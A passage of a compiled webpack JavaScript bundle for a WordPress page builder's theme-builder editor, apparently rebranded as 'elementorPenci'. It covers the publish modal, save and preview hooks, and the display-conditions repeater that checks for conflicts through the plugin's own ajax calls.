							$e.run('document/save/default', {
								force: true
							});

							_this.layout.hideModal();
						},
						'preview-settings': function previewSettings() {
							// TODO: This is function is not part of this component.
							var panel = elementor.getPanelView();
							$e.route('panel/page-settings/settings');

							panel.getCurrentPageView().activateSection('preview_settings')._renderChildren();
						}
					};
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}, {
				key: "getTabsWrapperSelector",
				value: function getTabsWrapperSelector() {
					return '#elementor-publish__tabs';
				}
			}, {
				key: "renderTab",
				value: function renderTab(tab) {
					var tabs = this.getTabs(),
						keys = (0, _keys.default)(tabs),
						tabArgs = tabs[tab];
					this.currentTabIndex = keys.indexOf(tab);
					var isLastTab = !keys[this.currentTabIndex + 1];
					this.layout.modalContent.currentView.screen.show(new tabArgs.View(tabArgs.viewOptions));
					this.layout.modal.getElements('next').toggle(!isLastTab);
					this.layout.modal.getElements('publish').toggleClass('elementor-button-success', isLastTab);
				}
			}, {
				key: "activateTab",
				value: function activateTab(tab) {
					$e.routes.saveState(this.getNamespace());
					(0, _get2.default)((0, _getPrototypeOf2.default)(Component.prototype), "activateTab", this).call(this, tab);
				}
			}, {
				key: "open",
				value: function open() {
					(0, _get2.default)((0, _getPrototypeOf2.default)(Component.prototype), "open", this).call(this);

					if (!this.layoutContent) {
						this.layout.showLogo();
						this.layout.modalContent.show(new _content.default({
							component: this
						}));
						this.layoutContent = true;
					}

					return true;
				}
			}]);
			return Component;
		}($e.modules.ComponentModalBase);

		exports.default = Component;

		/***/ }),
	/* 382 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_Marionette$LayoutVie) {
			(0, _inherits2.default)(_default, _Marionette$LayoutVie);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "id",
				value: function id() {
					return 'elementor-publish';
				}
			}, {
				key: "getTemplate",
				value: function getTemplate() {
					return Marionette.TemplateCache.get('#tmpl-elementor-component-publish');
				}
			}, {
				key: "regions",
				value: function regions() {
					return {
						screen: '#elementor-publish__screen'
					};
				}
			}, {
				key: "templateHelpers",
				value: function templateHelpers() {
					return {
						tabs: this.getOption('component').getTabs()
					};
				}
			}]);
			return _default;
		}(Marionette.LayoutView);

		exports.default = _default;

		/***/ }),
	/* 383 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$com) {
			(0, _inherits2.default)(_default, _elementorModules$com);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "getModalOptions",
				value: function getModalOptions() {
					return {
						id: 'elementor-publish__modal',
						hide: {
							onButtonClick: false
						}
					};
				}
			}, {
				key: "getLogoOptions",
				value: function getLogoOptions() {
					return {
						title: elementorPenci.translate('publish_settings')
					};
				}
			}, {
				key: "initModal",
				value: function initModal() {
					(0, _get2.default)((0, _getPrototypeOf2.default)(_default.prototype), "initModal", this).call(this);
					this.modal.addButton({
						name: 'publish',
						text: elementorPenci.translate('save_and_close'),
						callback: function callback() {
							return $e.run('theme-builder-publish/save');
						}
					});
					this.modal.addButton({
						name: 'next',
						text: elementorPenci.translate('next'),
						callback: function callback() {
							return $e.run('theme-builder-publish/next');
						}
					});
					var $publishButton = this.modal.getElements('publish');
					this.modal.getElements('next').addClass('elementor-button-success').add($publishButton).addClass('elementor-button').removeClass('dialog-button');
				}
			}]);
			return _default;
		}(elementorModules.common.views.modal.Layout);

		exports.default = _default;

		/***/ }),
	/* 384 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(385);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		var _ui = __webpack_require__(392);

		_Object$keys(_ui).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _ui[key];
				}
			});
		});

		/***/ }),
	/* 385 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _exportNames = {
			ThemeBuilderSaveConditions: true,
			ThemeBuilderShowConditions: true,
			ThemeBuilderPreviewBreak: true
		};

		_Object$defineProperty(exports, "ThemeBuilderSaveConditions", {
			enumerable: true,
			get: function get() {
				return _saveConditions.ThemeBuilderSaveConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderShowConditions", {
			enumerable: true,
			get: function get() {
				return _showConditions.ThemeBuilderShowConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderPreviewBreak", {
			enumerable: true,
			get: function get() {
				return _previewBreak.ThemeBuilderPreviewBreak;
			}
		});

		var _settings = __webpack_require__(386);

		_Object$keys(_settings).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;
			if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _settings[key];
				}
			});
		});

		var _saveConditions = __webpack_require__(389);

		var _showConditions = __webpack_require__(390);

		var _previewBreak = __webpack_require__(391);

		/***/ }),
	/* 386 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "ThemeBuilderSaveAndReload", {
			enumerable: true,
			get: function get() {
				return _saveAndReload.ThemeBuilderSaveAndReload;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderUpdatePreviewOptions", {
			enumerable: true,
			get: function get() {
				return _updatePreviewOptions.ThemeBuilderUpdatePreviewOptions;
			}
		});

		var _saveAndReload = __webpack_require__(387);

		var _updatePreviewOptions = __webpack_require__(388);

		/***/ }),
	/* 387 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderSaveAndReload = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		/**
		 * Hook fired when template: 'single' page layout changed.
		 */
		var ThemeBuilderSaveAndReload = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderSaveAndReload, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderSaveAndReload);

			function ThemeBuilderSaveAndReload() {
				(0, _classCallCheck2.default)(this, ThemeBuilderSaveAndReload);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderSaveAndReload, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-save-and-reload';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.page_template;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.run('document/save/auto', {
						force: true,
						onSuccess: function onSuccess() {
							elementor.reloadPreview();
							elementor.once('preview:loaded', function () {
								$e.route('panel/page-settings/settings');
							});
						}
					});
				}
			}]);
			return ThemeBuilderSaveAndReload;
		}($e.modules.hookData.After);

		exports.ThemeBuilderSaveAndReload = ThemeBuilderSaveAndReload;
		var _default = ThemeBuilderSaveAndReload;
		exports.default = _default;

		/***/ }),
	/* 388 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderUpdatePreviewOptions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderUpdatePreviewOptions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderUpdatePreviewOptions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderUpdatePreviewOptions);

			function ThemeBuilderUpdatePreviewOptions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderUpdatePreviewOptions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderUpdatePreviewOptions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-update-preview-options';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.preview_type;
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers,
						themeBuilder = elementorPenci.modules.themeBuilder;
					$e.run('document/elements/settings', {
						containers: containers,
						settings: {
							preview_id: '',
							preview_search_term: ''
						}
					});

					if ($e.routes.is('panel/page-settings/settings')) {
						themeBuilder.updatePreviewIdOptions(true);
					}
				}
			}]);
			return ThemeBuilderUpdatePreviewOptions;
		}($e.modules.hookData.After);

		exports.ThemeBuilderUpdatePreviewOptions = ThemeBuilderUpdatePreviewOptions;
		var _default = ThemeBuilderUpdatePreviewOptions;
		exports.default = _default;

		/***/ }),
	/* 389 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderSaveConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderSaveConditions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderSaveConditions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderSaveConditions);

			function ThemeBuilderSaveConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderSaveConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderSaveConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-save-conditions';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return !!elementor.config.document.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					var conditionsModel = elementorPenci.modules.themeBuilder.conditionsModel;
					elementorPenci.ajax.addRequest('theme_builder_save_conditions', {
						data: conditionsModel.toJSON({
							remove: ['default']
						}),
						success: function success() {
							elementor.config.document.theme_builder.settings.conditions = conditionsModel.get('conditions');
						}
					});
				}
			}]);
			return ThemeBuilderSaveConditions;
		}($e.modules.hookData.After);

		exports.ThemeBuilderSaveConditions = ThemeBuilderSaveConditions;
		var _default = ThemeBuilderSaveConditions;
		exports.default = _default;

		/***/ }),
	/* 390 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderShowConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderShowConditions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderShowConditions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderShowConditions);

			function ThemeBuilderShowConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderShowConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderShowConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/default';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-show-conditions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var _args$force = args.force,
						force = _args$force === void 0 ? false : _args$force; // If force save, do not show conditions.

					if (force) {
						return false;
					}

					var showConditions = false;
					var themeBuilder = elementor.config.document.theme_builder;

					if (themeBuilder) {
						var hasConditions = themeBuilder.settings.conditions.length,
							hasLocation = themeBuilder.settings.location,
							isDraft = 'draft' === elementor.settings.page.model.get('post_status');

						if (hasLocation && (!hasConditions || isDraft)) {
							showConditions = true;
						}
					}

					return showConditions;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.route('theme-builder-publish/conditions');
					return false; // HookBreak.
				}
			}]);
			return ThemeBuilderShowConditions;
		}($e.modules.hookData.Dependency);

		exports.ThemeBuilderShowConditions = ThemeBuilderShowConditions;
		var _default = ThemeBuilderShowConditions;
		exports.default = _default;

		/***/ }),
	/* 391 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderPreviewBreak = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderPreviewBreak = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderPreviewBreak, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderPreviewBreak);

			function ThemeBuilderPreviewBreak() {
				(0, _classCallCheck2.default)(this, ThemeBuilderPreviewBreak);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderPreviewBreak, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/preview';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-preview-break';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					// If preview is forced, do not break it.
					if (args.force) {
						return false;
					}

					return !!elementor.documents.get(args.id).config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					return false; // HookBreak.
				}
			}]);
			return ThemeBuilderPreviewBreak;
		}($e.modules.hookData.Dependency);

		exports.ThemeBuilderPreviewBreak = ThemeBuilderPreviewBreak;
		var _default = ThemeBuilderPreviewBreak;
		exports.default = _default;

		/***/ }),
	/* 392 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "ThemeBuilderAddEditorUI", {
			enumerable: true,
			get: function get() {
				return _addEditorUi.ThemeBuilderAddEditorUI;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderRemoveEditorUI", {
			enumerable: true,
			get: function get() {
				return _removeEditorUi.ThemeBuilderRemoveEditorUI;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderToggleMenuConditions", {
			enumerable: true,
			get: function get() {
				return _toggleMenuConditions.ThemeBuilderToggleMenuConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderFooterSaverAfterSave", {
			enumerable: true,
			get: function get() {
				return _after.ThemeBuilderFooterSaverAfterSave;
			}
		});

		var _addEditorUi = __webpack_require__(393);

		var _removeEditorUi = __webpack_require__(398);

		var _toggleMenuConditions = __webpack_require__(399);

		var _after = __webpack_require__(400);

		/***/ }),
	/* 393 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderAddEditorUI = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _view = _interopRequireDefault(__webpack_require__(394));

		var ThemeBuilderAddEditorUI = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderAddEditorUI, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderAddEditorUI);

			function ThemeBuilderAddEditorUI() {
				(0, _classCallCheck2.default)(this, ThemeBuilderAddEditorUI);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderAddEditorUI, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-add-editor-ui';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return elementor.documents.get(args.id).config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					if (elementor.panel) {
						this.addUI();
					} else {
						// First open, the panel is not available yet.
						elementor.once('preview:loaded', this.addUI.bind(this));
					}
				}
			}, {
				key: "addUI",
				value: function addUI() {
					this.addRepeaterControlView();
					this.addPanelFooterSubmenuItems();
					this.addPublishTabs();
				}
			}, {
				key: "addRepeaterControlView",
				value: function addRepeaterControlView() {
					elementor.addControlView('Conditions_repeater', __webpack_require__(396));
				}
			}, {
				key: "addPublishTabs",
				value: function addPublishTabs() {
					var component = $e.components.get('theme-builder-publish'),
						themeBuilderModuleConfig = elementor.config.document.theme_builder,
						settings = themeBuilderModuleConfig.settings;
					component.manager.conditionsModel = new elementorModules.editor.elements.models.BaseSettings(settings, {
						controls: themeBuilderModuleConfig.template_conditions.controls
					});
					component.addTab('conditions', {
						title: elementorPenci.translate('conditions'),
						View: _view.default,
						viewOptions: {
							model: component.manager.conditionsModel,
							controls: component.manager.conditionsModel.controls
						},
						name: 'conditions',
						description: elementorPenci.translate('conditions_publish_screen_description'),
						image: elementorPenci.config.urls.modules + 'theme-builder/assets/images/conditions-tab.svg'
					});
				}
			}, {
				key: "addPanelFooterSubmenuItems",
				value: function addPanelFooterSubmenuItems() {
					var footerView = elementor.getPanelView().footer.currentView,
						behavior = footerView._behaviors[(0, _keys.default)(footerView.behaviors()).indexOf('saver')];

					footerView.ui.menuConditions = footerView.addSubMenuItem('saver-options', {
						before: 'save-template',
						name: 'conditions',
						icon: 'eicon-flow',
						title: elementorPenci.translate('display_conditions'),
						callback: function callback() {
							return $e.route('theme-builder-publish/conditions');
						}
					});
					footerView.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location);
					behavior.ui.buttonPreview.tipsy('disable').html(jQuery('#tmpl-elementor-theme-builder-button-preview').html()).addClass('elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state');
				}
			}]);
			return ThemeBuilderAddEditorUI;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderAddEditorUI = ThemeBuilderAddEditorUI;
		var _default = ThemeBuilderAddEditorUI;
		exports.default = _default;

		/***/ }),
	/* 394 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var inlineControlsStack = __webpack_require__(395);

		module.exports = inlineControlsStack.extend({
			id: 'elementor-theme-builder-conditions-view',
			template: '#tmpl-elementor-theme-builder-conditions-view',
			childViewContainer: '#elementor-theme-builder-conditions-controls',
			childViewOptions: function childViewOptions() {
				return {
					elementSettingsModel: this.model
				};
			}
		});

		/***/ }),
	/* 395 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(276);

		__webpack_require__(234);

		__webpack_require__(111);

		module.exports = elementorModules.editor.views.ControlsStack.extend({
			activeTab: 'content',
			activeSection: 'settings',
			initialize: function initialize() {
				this.collection = new Backbone.Collection(_.values(this.options.controls));
			},
			filter: function filter(model) {
				if ('section' === model.get('type')) {
					return true;
				}

				var section = model.get('section');
				return !section || section === this.activeSection;
			},
			childViewOptions: function childViewOptions() {
				return {
					elementSettingsModel: this.model
				};
			}
		});

		/***/ }),
	/* 396 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _repeaterRow = _interopRequireDefault(__webpack_require__(397));

		module.exports = elementor.modules.controls.Repeater.extend({
			childView: _repeaterRow.default,
			updateActiveRow: function updateActiveRow() {},
			initialize: function initialize() {
				elementor.modules.controls.Repeater.prototype.initialize.apply(this, arguments);
				this.config = elementor.config.document.theme_builder;
				this.updateConditionsOptions(this.config.settings.template_type);
			},
			updateConditionsOptions: function updateConditionsOptions(templateType) {
				var self = this,
					conditionType = self.config.types[templateType].condition_type,
					options = {};

				_([conditionType]).each(function (conditionId, conditionIndex) {
					var conditionConfig = self.config.conditions[conditionId],
						group = {
							label: conditionConfig.label,
							options: {}
						};
					group.options[conditionId] = conditionConfig.all_label;

					_(conditionConfig.sub_conditions).each(function (subConditionId) {
						group.options[subConditionId] = self.config.conditions[subConditionId].label;
					});

					options[conditionIndex] = group;
				});

				var fields = this.model.get('fields');
				fields[1].default = conditionType;

				if ('general' === conditionType) {
					fields[1].groups = options;
				} else {
					fields[2].groups = options;
				}
			},
			onRender: function onRender() {
				this.ui.btnAddRow.text(elementorPenci.translate('add_condition'));
			}
		});

		/***/ }),
	/* 397 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(110);

		module.exports = elementor.modules.controls.RepeaterRow.extend({
			template: '#tmpl-elementor-theme-builder-conditions-repeater-row',
			childViewContainer: '.elementor-theme-builder-conditions-repeater-row-controls',
			conflictCheckedOnFirstRender: false,
			id: function id() {
				return 'elementor-condition-id-' + this.model.get('_id');
			},
			onBeforeRender: function onBeforeRender() {
				var subNameModel = this.collection.findWhere({
						name: 'sub_name'
					}),
					subIdModel = this.collection.findWhere({
						name: 'sub_id'
					}),
					subConditionConfig = this.config.conditions[this.model.attributes.sub_name];
				subNameModel.attributes.groups = this.getOptions();

				if (subConditionConfig && subConditionConfig.controls) {
					_(subConditionConfig.controls).each(function (control) {
						subIdModel.set(control);
						subIdModel.set('name', 'sub_id');
					});
				}
			},
			initialize: function initialize() {
				elementor.modules.controls.RepeaterRow.prototype.initialize.apply(this, arguments);
				this.config = elementor.config.document.theme_builder;
			},
			updateOptions: function updateOptions() {
				if (this.model.changed.name) {
					this.model.set({
						sub_name: '',
						sub_id: ''
					});
				}

				if (this.model.changed.name || this.model.changed.sub_name) {
					this.model.set('sub_id', '', {
						silent: true
					});
					var subIdModel = this.collection.findWhere({
						name: 'sub_id'
					});
					subIdModel.set({
						type: 'select',
						options: {
							'': 'All'
						}
					});
					this.render();
				}

				if (this.model.changed.type) {
					this.setTypeAttribute();
				}
			},
			getOptions: function getOptions() {
				var self = this,
					conditionConfig = self.config.conditions[this.model.get('name')];

				if (!conditionConfig) {
					return;
				}

				var options = {
					'': conditionConfig.all_label
				};

				_(conditionConfig.sub_conditions).each(function (conditionId, conditionIndex) {
					var subConditionConfig = self.config.conditions[conditionId],
						group;

					if (!subConditionConfig) {
						return;
					}

					if (subConditionConfig.sub_conditions.length) {
						group = {
							label: subConditionConfig.label,
							options: {}
						};
						group.options[conditionId] = subConditionConfig.all_label;

						_(subConditionConfig.sub_conditions).each(function (subConditionId) {
							group.options[subConditionId] = self.config.conditions[subConditionId].label;
						}); // Use a sting key - to keep order


						options['key' + conditionIndex] = group;
					} else {
						options[conditionId] = subConditionConfig.label;
					}
				});

				return options;
			},
			setTypeAttribute: function setTypeAttribute() {
				var typeView = this.children.findByModel(this.collection.findWhere({
					name: 'type'
				}));
				typeView.$el.attr('data-elementor-condition-type', typeView.getControlValue());
			},
			// Moved from `modules/theme-builder/assets/js/editor/conditions/repeater.js`.
			checkConflicts: function checkConflicts() {
				var modelId = this.model.get('_id'),
					rowId = 'elementor-condition-id-' + modelId,
					errorMessageId = 'elementor-conditions-conflict-message-' + modelId,
					$error = jQuery('#' + errorMessageId); // On render - the row isn't exist, so don't cache it.

				jQuery('#' + rowId).removeClass('elementor-error');
				$error.remove();
				elementorPenci.ajax.addRequest('theme_builder_conditions_check_conflicts', {
					unique_id: rowId,
					data: {
						condition: this.model.toJSON()
					},
					success: function success(data) {
						if (!_.isEmpty(data)) {
							jQuery('#' + rowId).addClass('elementor-error').after('<div id="' + errorMessageId + '" class="elementor-conditions-conflict-message">' + data + '</div>');
						}
					}
				});
			},
			onRender: function onRender() {
				var nameModel = this.collection.findWhere({
						name: 'name'
					}),
					subNameModel = this.collection.findWhere({
						name: 'sub_name'
					}),
					subIdModel = this.collection.findWhere({
						name: 'sub_id'
					}),
					nameView = this.children.findByModel(nameModel),
					subNameView = this.children.findByModel(subNameModel),
					subIdView = this.children.findByModel(subIdModel),
					conditionConfig = this.config.conditions[this.model.attributes.name],
					subConditionConfig = this.config.conditions[this.model.attributes.sub_name],
					typeConfig = this.config.types[this.config.settings.template_type];

				if (typeConfig.condition_type === nameView.getControlValue() && 'general' !== nameView.getControlValue() && !_.isEmpty(conditionConfig.sub_conditions)) {
					nameView.$el.hide();
				}

				if (!conditionConfig || _.isEmpty(conditionConfig.sub_conditions) && _.isEmpty(conditionConfig.controls) || !nameView.getControlValue() || 'general' === nameView.getControlValue()) {
					subNameView.$el.hide();
				}

				if (!subConditionConfig || _.isEmpty(subConditionConfig.controls) || !subNameView.getControlValue()) {
					subIdView.$el.hide();
				} // Avoid set a `single` for a-l-l singular types. (conflicted with 404 & custom cpt like Shops and Events plugins).


				if ('singular' === typeConfig.condition_type) {
					if ('' === subNameView.getControlValue()) {
						subNameView.setValue('post');
					}
				}

				this.setTypeAttribute();

				if (!this.conflictCheckedOnFirstRender) {
					this.checkConflicts();
					this.conflictCheckedOnFirstRender = true;
				}
			},
			onModelChange: function onModelChange() {
				this.updateOptions();
				this.checkConflicts();
			}
		});

		/***/ }),
	/* 398 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderRemoveEditorUI = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderRemoveEditorUI = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderRemoveEditorUI, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderRemoveEditorUI);

			function ThemeBuilderRemoveEditorUI() {
				(0, _classCallCheck2.default)(this, ThemeBuilderRemoveEditorUI);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderRemoveEditorUI, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-remove-editor-ui';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return document.config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					this.removePanelFooterSubmenuItems();
					this.removePublishTabs();
				}
			}, {
				key: "removePanelFooterSubmenuItems",
				value: function removePanelFooterSubmenuItems() {
					var footerView = elementor.getPanelView().footer.currentView,
						behavior = footerView._behaviors[(0, _keys.default)(footerView.behaviors()).indexOf('saver')];

					elementor.getPanelView().footer.currentView.removeSubMenuItem('saver-options', {
						name: 'conditions'
					});
